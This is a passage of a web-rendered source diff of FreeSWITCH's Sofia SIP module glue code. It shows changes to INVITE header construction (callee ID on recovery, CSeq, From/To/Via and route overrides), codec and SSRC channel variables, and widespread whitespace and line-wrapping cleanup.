+                }
+
+                if (url_str) {
+                        char *s = NULL;
+                        if (!strncasecmp(url_str, "sip:", 4)) {
+                                s = url_str + 4;
+                        }
+                        if (!strncasecmp(url_str, "sips:", 5)) {
+                                s = url_str + 5;
+                        }
+                        if (!s) {
+                                s = url_str;
+                        }
+                        switch_channel_set_variable(channel, "sip_req_uri", s);
+                }
+
</ins><span class="cx">                 tech_pvt->nh = nua_handle(tech_pvt->profile->nua, NULL,
</span><span class="cx">                                                                  NUTAG_URL(url_str),
</span><span class="cx">                                                                  TAG_IF(call_id, SIPTAG_CALL_ID_STR(call_id)),
</span><del>-                                                                 SIPTAG_TO_STR(to_str),
-                                                                 SIPTAG_FROM_STR(from_str),
-                                                                 SIPTAG_CONTACT_STR(invite_contact),
-                                                                 TAG_END());
</del><ins>+                                                                 SIPTAG_TO_STR(to_str), SIPTAG_FROM_STR(from_str), SIPTAG_CONTACT_STR(invite_contact), TAG_END());
</ins><span class="cx">
</span><del>-                if (tech_pvt->dest && (strstr(tech_pvt->dest, ";fs_nat") || strstr(tech_pvt->dest, ";received")
</del><ins>+                if (tech_pvt->dest && (strstr(tech_pvt->dest, ";fs_nat") || strstr(tech_pvt->dest, ";received")
</ins><span class="cx">                                                          || ((val = switch_channel_get_variable(channel, "sip_sticky_contact")) && switch_true(val)))) {
</span><span class="cx">                         sofia_set_flag(tech_pvt, TFLAG_NAT);
</span><span class="cx">                         tech_pvt->record_route = switch_core_session_strdup(tech_pvt->session, url_str);
</span><span class="lines">@@ -1690,27 +1724,49 @@
</span><span class="cx">                         session_timeout = SOFIA_NAT_SESSION_TIMEOUT;
</span><span class="cx">                         switch_channel_set_variable(channel, "sip_nat_detected", "true");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((val = switch_channel_get_variable(channel, "sip_cid_type"))) {
</span><span class="cx">                         cid_type = sofia_cid_name2type(val);
</span><span class="cx">                 } else {
</span><span class="cx">                         cid_type = tech_pvt->cid_type;
</span><span class="cx">                 }
</span><span class="cx">
</span><ins>+                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING) && switch_channel_direction(tech_pvt->channel) == SWITCH_CALL_DIRECTION_INBOUND) {
+                        if (zstr((use_name = switch_channel_get_variable(tech_pvt->channel, "effective_callee_id_name"))) &&
+                                zstr((use_name = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_name")))) {
+                                if (!(use_name = switch_channel_get_variable(tech_pvt->channel, "sip_to_display"))) {
+                                        use_name = switch_channel_get_variable(tech_pvt->channel, "sip_to_user");
+                                }
+                        }
+
+                        if (zstr((use_number = switch_channel_get_variable(tech_pvt->channel, "effective_callee_id_number"))) &&
+                                zstr((use_number = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_number")))) {
+                                use_number = switch_channel_get_variable(tech_pvt->channel, "sip_to_user");
+                        }
+
+                        if (zstr(use_name) && zstr(use_name = tech_pvt->caller_profile->callee_id_name)) {
+                                use_name = tech_pvt->caller_profile->caller_id_name;
+                        }
+
+                        if (zstr(use_number) && zstr(use_number = tech_pvt->caller_profile->callee_id_number)) {
+                                use_number = tech_pvt->caller_profile->caller_id_number;
+                        }
+                } else {
+                        use_name = tech_pvt->caller_profile->caller_id_name;
+                        use_number = tech_pvt->caller_profile->caller_id_number;
+                }
+
+
</ins><span class="cx">                 switch (cid_type) {
</span><span class="cx">                 case CID_TYPE_PID:
</span><span class="cx">                         if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
</span><del>-                                tech_pvt->asserted_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>",
-                                                                                                                                        tech_pvt->caller_profile->caller_id_name,
-                                                                                                                                        tech_pvt->caller_profile->caller_id_number,
-                                                                                                                                        rpid_domain);
</del><ins>+                                tech_pvt->asserted_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>", use_name, use_number, rpid_domain);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 tech_pvt->preferred_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>",
</span><span class="cx">                                                                                                                                          tech_pvt->caller_profile->caller_id_name,
</span><del>-                                                                                                                                         tech_pvt->caller_profile->caller_id_number,
-                                                                                                                                         rpid_domain);
</del><ins>+                                                                                                                                         tech_pvt->caller_profile->caller_id_number, rpid_domain);
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
</span><span class="cx">                                 tech_pvt->privacy = "id";
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1728,18 +1784,17 @@
</span><span class="cx">                                 } else if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
</span><span class="cx">                                         priv = "full";
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
</span><span class="cx">                                         screen = "yes";
</span><span class="cx">                                 }
</span><del>-                                
-                                if (!strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
</del><ins>+
+                                if (zstr(tech_pvt->caller_profile->caller_id_name) || !strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
</ins><span class="cx">                                         tech_pvt->rpid = switch_core_session_sprintf(tech_pvt->session, "<sip:%s@%s>;party=calling;screen=%s;privacy=%s",
</span><del>-                                                                                                                                 tech_pvt->caller_profile->caller_id_number, rpid_domain, screen, priv);
</del><ins>+                                                                                                                                 use_number, rpid_domain, screen, priv);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         tech_pvt->rpid = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>;party=calling;screen=%s;privacy=%s",
</span><del>-                                                                                                                                 tech_pvt->caller_profile->caller_id_name,
-                                                                                                                                 tech_pvt->caller_profile->caller_id_number, rpid_domain, screen, priv);
</del><ins>+                                                                                                                                 use_name, use_number, rpid_domain, screen, priv);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="lines">@@ -1815,7 +1870,7 @@
</span><span class="cx">                 if (dst->route_uri) {
</span><span class="cx">                         route_uri = sofia_overcome_sip_uri_weakness(tech_pvt->session, dst->route_uri, tech_pvt->transport, SWITCH_TRUE, NULL);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (dst->route) {
</span><span class="cx">                         route = dst->route;
</span><span class="cx">                 }
</span><span class="lines">@@ -1825,63 +1880,79 @@
</span><span class="cx">                 route_uri = switch_core_session_strdup(session, val);
</span><span class="cx">                 route = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (route_uri) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "%s Setting proxy route to %s\n", route_uri, switch_channel_get_name(channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "%s Setting proxy route to %s\n", route_uri,
+                                                 switch_channel_get_name(channel));
</ins><span class="cx">                 tech_pvt->route_uri = switch_core_session_strdup(tech_pvt->session, route_uri);
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+
+        if ((val = switch_channel_get_variable(tech_pvt->channel, "sip_invite_cseq"))) {
+                uint32_t callsequence = (uint32_t) strtoul(val, NULL, 10);
+                cseq = sip_cseq_create(tech_pvt->nh->nh_home, callsequence, SIP_METHOD_INVITE);
+        }
+
+
</ins><span class="cx">         switch_channel_clear_flag(channel, CF_MEDIA_ACK);
</span><span class="cx">
</span><ins>+        if (handle_full_from) {
+                tech_pvt->nh->nh_has_invite = 1;
+        }
+
</ins><span class="cx">         if (sofia_use_soa(tech_pvt)) {
</span><span class="cx">                 nua_invite(tech_pvt->nh,
</span><span class="cx">                                  NUTAG_AUTOANSWER(0),
</span><span class="cx">                                  NUTAG_SESSION_TIMER(session_timeout),
</span><ins>+                                 TAG_IF(invite_full_from, SIPTAG_FROM_STR(invite_full_from)),
+                                 TAG_IF(invite_full_to, SIPTAG_TO_STR(invite_full_to)),
</ins><span class="cx">                                  TAG_IF(tech_pvt->redirected, NUTAG_URL(tech_pvt->redirected)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
</span><ins>+                                 TAG_IF(!zstr(invite_full_via), SIPTAG_VIA_STR(invite_full_via)),
</ins><span class="cx">                                  TAG_IF(!zstr(tech_pvt->rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt->rpid)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt->preferred_id)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt->asserted_id)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->privacy), SIPTAG_PRIVACY_STR(tech_pvt->privacy)),
</span><span class="cx">                                  TAG_IF(!zstr(alert_info), SIPTAG_HEADER_STR(alert_info)),
</span><span class="cx">                                  TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                 TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
</del><ins>+                                 TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)),
</ins><span class="cx">                                  TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
</span><span class="cx">                                  TAG_IF(!zstr(route_uri), NUTAG_PROXY(route_uri)),
</span><ins>+                                 TAG_IF(!zstr(invite_route_uri), NUTAG_INITIAL_ROUTE_STR(invite_route_uri)),
</ins><span class="cx">                                  TAG_IF(!zstr(route), SIPTAG_ROUTE_STR(route)),
</span><span class="cx">                                  TAG_IF(tech_pvt->profile->minimum_session_expires, NUTAG_MIN_SE(tech_pvt->profile->minimum_session_expires)),
</span><ins>+                                 TAG_IF(cseq, SIPTAG_CSEQ(cseq)),
</ins><span class="cx">                                  SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
</span><span class="cx">                                  SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><span class="cx">                                  SOATAG_REUSE_REJECTED(1),
</span><span class="cx">                                  SOATAG_ORDERED_USER(1),
</span><span class="cx">                                  SOATAG_RTP_SORT(SOA_RTP_SORT_REMOTE),
</span><del>-                                 SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL),
-                                 TAG_IF(rep, SIPTAG_REPLACES_STR(rep)),
-                                 SOATAG_HOLD(holdstr),
-                                 TAG_END());
</del><ins>+                                 SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
</ins><span class="cx">         } else {
</span><span class="cx">                 nua_invite(tech_pvt->nh,
</span><span class="cx">                                  NUTAG_AUTOANSWER(0),
</span><span class="cx">                                  NUTAG_SESSION_TIMER(session_timeout),
</span><ins>+                                 TAG_IF(invite_full_from, SIPTAG_FROM_STR(invite_full_from)),
+                                 TAG_IF(invite_full_to, SIPTAG_TO_STR(invite_full_to)),
</ins><span class="cx">                                  TAG_IF(tech_pvt->redirected, NUTAG_URL(tech_pvt->redirected)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
</span><ins>+                                 TAG_IF(!zstr(invite_full_via), SIPTAG_VIA_STR(invite_full_via)),
</ins><span class="cx">                                  TAG_IF(!zstr(tech_pvt->rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt->rpid)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt->preferred_id)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt->asserted_id)),
</span><span class="cx">                                  TAG_IF(!zstr(tech_pvt->privacy), SIPTAG_PRIVACY_STR(tech_pvt->privacy)),
</span><span class="cx">                                  TAG_IF(!zstr(alert_info), SIPTAG_HEADER_STR(alert_info)),
</span><span class="cx">                                  TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                 TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
</del><ins>+                                 TAG_IF(sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_CALLEE_ID), SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)),
</ins><span class="cx">                                  TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
</span><span class="cx">                                  TAG_IF(!zstr(route_uri), NUTAG_PROXY(route_uri)),
</span><span class="cx">                                  TAG_IF(!zstr(route), SIPTAG_ROUTE_STR(route)),
</span><ins>+                                 TAG_IF(!zstr(invite_route_uri), NUTAG_INITIAL_ROUTE_STR(invite_route_uri)),
</ins><span class="cx">                                  TAG_IF(tech_pvt->profile->minimum_session_expires, NUTAG_MIN_SE(tech_pvt->profile->minimum_session_expires)),
</span><ins>+                                 TAG_IF(cseq, SIPTAG_CSEQ(cseq)),
</ins><span class="cx">                                  NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                  SIPTAG_CONTENT_TYPE_STR("application/sdp"),
</span><del>-                                 SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
-                                 TAG_IF(rep, SIPTAG_REPLACES_STR(rep)),
-                                 SOATAG_HOLD(holdstr),
-                                 TAG_END());                
</del><ins>+                                 SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="lines">@@ -1896,13 +1967,13 @@
</span><span class="cx">         private_object_t *tech_pvt = switch_core_session_get_private(session);
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><del>-        const char *sipip, *format, *contact_url;
</del><ins>+        const char *sipip, *format, *contact_url;
</ins><span class="cx">
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="cx">         switch_mutex_lock(tech_pvt->sofia_mutex);
</span><span class="cx">         caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">
</span><del>-        if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</del><ins>+        if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</ins><span class="cx">                 sipip = tech_pvt->profile->extsipip;
</span><span class="cx">                 contact_url = tech_pvt->profile->public_url;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1912,17 +1983,12 @@
</span><span class="cx">
</span><span class="cx">         format = strchr(sipip, ':') ? "\"%s\" <sip:%s@[%s]>" : "\"%s\" <sip:%s@%s>";
</span><span class="cx">
</span><del>-        if ((tech_pvt->from_str = switch_core_session_sprintf(session, format,
-                                                                                                                        caller_profile->caller_id_name,
-                                                                                                                        caller_profile->caller_id_number, sipip))) {
</del><ins>+        if ((tech_pvt->from_str = switch_core_session_sprintf(session, format, caller_profile->caller_id_name, caller_profile->caller_id_number, sipip))) {
</ins><span class="cx">
</span><span class="cx">                 const char *rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
</span><span class="cx">
</span><span class="cx">                 tech_pvt->nh2 = nua_handle(tech_pvt->profile->nua, NULL,
</span><del>-                                                                 SIPTAG_TO_STR(tech_pvt->dest),
-                                                                 SIPTAG_FROM_STR(tech_pvt->from_str),
-                                                                 SIPTAG_CONTACT_STR(contact_url),
-                                                                 TAG_END());
</del><ins>+                                                                 SIPTAG_TO_STR(tech_pvt->dest), SIPTAG_FROM_STR(tech_pvt->from_str), SIPTAG_CONTACT_STR(contact_url), TAG_END());
</ins><span class="cx">
</span><span class="cx">                 nua_handle_bind(tech_pvt->nh2, tech_pvt->sofia_private);
</span><span class="cx">
</span><span class="lines">@@ -2007,18 +2073,18 @@
</span><span class="cx">                 add_stat(stats->outbound.skip_packet_count, "out_skip_packet_count");
</span><span class="cx">                 add_stat(stats->outbound.dtmf_packet_count, "out_dtmf_packet_count");
</span><span class="cx">                 add_stat(stats->outbound.cng_packet_count, "out_cng_packet_count");
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> void sofia_glue_set_rtp_stats(private_object_t *tech_pvt)
</span><span class="cx"> {
</span><span class="cx">         if (tech_pvt->rtp_session) {
</span><del>- set_stats(tech_pvt->rtp_session, tech_pvt, "audio");
</del><ins>+                set_stats(tech_pvt->rtp_session, tech_pvt, "audio");
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (tech_pvt->video_rtp_session) {
</span><del>- set_stats(tech_pvt->video_rtp_session, tech_pvt, "video");
</del><ins>+                set_stats(tech_pvt->video_rtp_session, tech_pvt, "video");
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2038,9 +2104,9 @@
</span><span class="cx">                 switch_rtp_release_port(tech_pvt->profile->rtpip, tech_pvt->local_sdp_video_port);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-                
-        if (tech_pvt->local_sdp_video_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
-                switch_nat_del_mapping((switch_port_t)tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP);
</del><ins>+
+        if (tech_pvt->local_sdp_video_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+                switch_nat_del_mapping((switch_port_t) tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -2050,10 +2116,10 @@
</span><span class="cx">                 switch_rtp_release_port(tech_pvt->profile->rtpip, tech_pvt->local_sdp_audio_port);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (tech_pvt->local_sdp_audio_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
-                switch_nat_del_mapping((switch_port_t)tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP);
</del><ins>+        if (tech_pvt->local_sdp_audio_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+                switch_nat_del_mapping((switch_port_t) tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> switch_status_t sofia_glue_tech_set_video_codec(private_object_t *tech_pvt, int force)
</span><span class="lines">@@ -2071,7 +2137,8 @@
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->video_read_codec);
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->video_write_codec);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Already using %s\n", tech_pvt->video_read_codec.implementation->iananame);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Already using %s\n",
+                                                         tech_pvt->video_read_codec.implementation->iananame);
</ins><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2116,6 +2183,13 @@
</span><span class="cx">                         tech_pvt->video_read_codec.agreed_pt = tech_pvt->video_agreed_pt;
</span><span class="cx">                         switch_core_session_set_video_read_codec(tech_pvt->session, &tech_pvt->video_read_codec);
</span><span class="cx">                         switch_core_session_set_video_write_codec(tech_pvt->session, &tech_pvt->video_write_codec);
</span><ins>+
+
+                        switch_channel_set_variable(tech_pvt->channel, "sip_use_video_codec_name", tech_pvt->video_rm_encoding);
+                        switch_channel_set_variable(tech_pvt->channel, "sip_use_video_codec_fmtp", tech_pvt->video_rm_fmtp);
+                        switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_video_codec_rate", "%d", tech_pvt->video_rm_rate);
+                        switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_video_codec_ptime", "%d", 0);
+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2138,12 +2212,11 @@
</span><span class="cx">                 }
</span><span class="cx">                 if (strcasecmp(tech_pvt->read_impl.iananame, tech_pvt->iananame) ||
</span><span class="cx">                         tech_pvt->read_impl.samples_per_second != tech_pvt->rm_rate ||
</span><del>-                        tech_pvt->codec_ms != (uint32_t)tech_pvt->read_impl.microseconds_per_packet / 1000) {
-                        
</del><ins>+                        tech_pvt->codec_ms != (uint32_t) tech_pvt->read_impl.microseconds_per_packet / 1000) {
+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Changing Codec from %s@%dms to %s@%dms\n",
</span><del>-                                                         tech_pvt->read_impl.iananame, tech_pvt->read_impl.microseconds_per_packet / 1000,
-                                                         tech_pvt->rm_encoding, tech_pvt->codec_ms);
-                        
</del><ins>+                                                         tech_pvt->read_impl.iananame, tech_pvt->read_impl.microseconds_per_packet / 1000, tech_pvt->rm_encoding, tech_pvt->codec_ms);
+
</ins><span class="cx">                         switch_core_session_lock_codec_write(tech_pvt->session);
</span><span class="cx">                         switch_core_session_lock_codec_read(tech_pvt->session);
</span><span class="cx">                         resetting = 1;
</span><span class="lines">@@ -2154,7 +2227,7 @@
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, end);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_core_codec_init(&tech_pvt->read_codec,
</span><span class="cx">                                                          tech_pvt->iananame,
</span><span class="cx">                                                          tech_pvt->rm_fmtp,
</span><span class="lines">@@ -2179,6 +2252,12 @@
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_FALSE, end);
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        switch_channel_set_variable(tech_pvt->channel, "sip_use_codec_name", tech_pvt->iananame);
+        switch_channel_set_variable(tech_pvt->channel, "sip_use_codec_fmtp", tech_pvt->rm_fmtp);
+        switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_codec_rate", "%d", tech_pvt->rm_rate);
+        switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_codec_ptime", "%d", tech_pvt->codec_ms);
+
+
</ins><span class="cx">         switch_assert(tech_pvt->read_codec.implementation);
</span><span class="cx">         switch_assert(tech_pvt->write_codec.implementation);
</span><span class="cx">
</span><span class="lines">@@ -2191,12 +2270,10 @@
</span><span class="cx">         if (switch_rtp_ready(tech_pvt->rtp_session)) {
</span><span class="cx">                 switch_assert(tech_pvt->read_codec.implementation);
</span><span class="cx">
</span><del>-                if (switch_rtp_change_interval(tech_pvt->rtp_session,
-                                                                         tech_pvt->read_impl.microseconds_per_packet,
-                                                                         tech_pvt->read_impl.samples_per_packet
-                                                                         ) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (switch_rtp_change_interval(tech_pvt->rtp_session,
+                                                                         tech_pvt->read_impl.microseconds_per_packet, tech_pvt->read_impl.samples_per_packet) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><del>-                        switch_goto_status(SWITCH_STATUS_FALSE, end);                                
</del><ins>+                        switch_goto_status(SWITCH_STATUS_FALSE, end);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2227,7 +2304,7 @@
</span><span class="cx">                 switch_rtp_set_default_payload(tech_pvt->rtp_session, tech_pvt->pt);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         if (resetting) {
</span><span class="cx">                 switch_core_session_unlock_codec_write(tech_pvt->session);
</span><span class="cx">                 switch_core_session_unlock_codec_read(tech_pvt->session);
</span><span class="lines">@@ -2388,9 +2465,9 @@
</span><span class="cx">         if (myflags) {
</span><span class="cx">                 flags = myflags;
</span><span class="cx">         } else if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) &&
</span><del>-                                !((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
</del><ins>+                         !((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
</ins><span class="cx">                 flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT);
</span><del>- } else {
</del><ins>+        } else {
</ins><span class="cx">                 flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_DATAWAIT);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2433,10 +2510,11 @@
</span><span class="cx">                 switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt->rtp_session);
</span><span class="cx">
</span><span class="cx">                 if (remote_host && remote_port && !strcmp(remote_host, tech_pvt->remote_sdp_audio_ip) && remote_port == tech_pvt->remote_sdp_audio_port) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params are unchanged for %s.\n", switch_channel_get_name(tech_pvt->channel));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params are unchanged for %s.\n",
+                                                         switch_channel_get_name(tech_pvt->channel));
</ins><span class="cx">                         goto video;
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params changed for %s from %s:%d to %s:%d\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Audio params changed for %s from %s:%d to %s:%d\n",
</ins><span class="cx">                                                          switch_channel_get_name(tech_pvt->channel),
</span><span class="cx">                                                          remote_host, remote_port, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
</span><span class="cx">
</span><span class="lines">@@ -2461,7 +2539,7 @@
</span><span class="cx">
</span><span class="cx">         if (tech_pvt->rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</span><span class="cx">                 sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) !=
</span><span class="cx">                         SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "AUDIO RTP REPORTS ERROR: [%s]\n", err);
</span><span class="lines">@@ -2514,8 +2592,7 @@
</span><span class="cx">                                                                                          tech_pvt->agreed_pt,
</span><span class="cx">                                                                                          tech_pvt->read_impl.samples_per_packet,
</span><span class="cx">                                                                                          tech_pvt->codec_ms * 1000,
</span><del>-                                                                                         (switch_rtp_flag_t) flags, timer_name, &err,
-                                                                                         switch_core_session_get_pool(tech_pvt->session));
</del><ins>+                                                                                         (switch_rtp_flag_t) flags, timer_name, &err, switch_core_session_get_pool(tech_pvt->session));
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_rtp_ready(tech_pvt->rtp_session)) {
</span><span class="lines">@@ -2523,9 +2600,18 @@
</span><span class="cx">                 uint8_t vad_out = sofia_test_flag(tech_pvt, TFLAG_VAD_OUT) ? 1 : 0;
</span><span class="cx">                 uint8_t inb = sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) ? 0 : 1;
</span><span class="cx">                 uint32_t stun_ping = 0;
</span><ins>+                const char *ssrc;
</ins><span class="cx">
</span><ins>+                if ((ssrc = switch_channel_get_variable(tech_pvt->channel, "rtp_use_ssrc"))) {
+                        uint32_t ssrc_ul = (uint32_t) strtoul(ssrc, NULL, 10);
+                        switch_rtp_set_ssrc(tech_pvt->rtp_session, ssrc_ul);
+                }
+
+
</ins><span class="cx">                 switch_channel_set_flag(tech_pvt->channel, CF_FS_RTP);
</span><del>-                
</del><ins>+
+                switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_pt", "%d", tech_pvt->agreed_pt);
+
</ins><span class="cx">                 if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_enable_vad_in")) && switch_true(val)) {
</span><span class="cx">                         vad_in = 1;
</span><span class="cx">                 }
</span><span class="lines">@@ -2542,7 +2628,7 @@
</span><span class="cx">
</span><span class="cx">                 if ((tech_pvt->stun_flags & STUN_FLAG_SET) && (val = switch_channel_get_variable(tech_pvt->channel, "rtp_stun_ping"))) {
</span><span class="cx">                         int ival = atoi(val);
</span><del>-                        
</del><ins>+
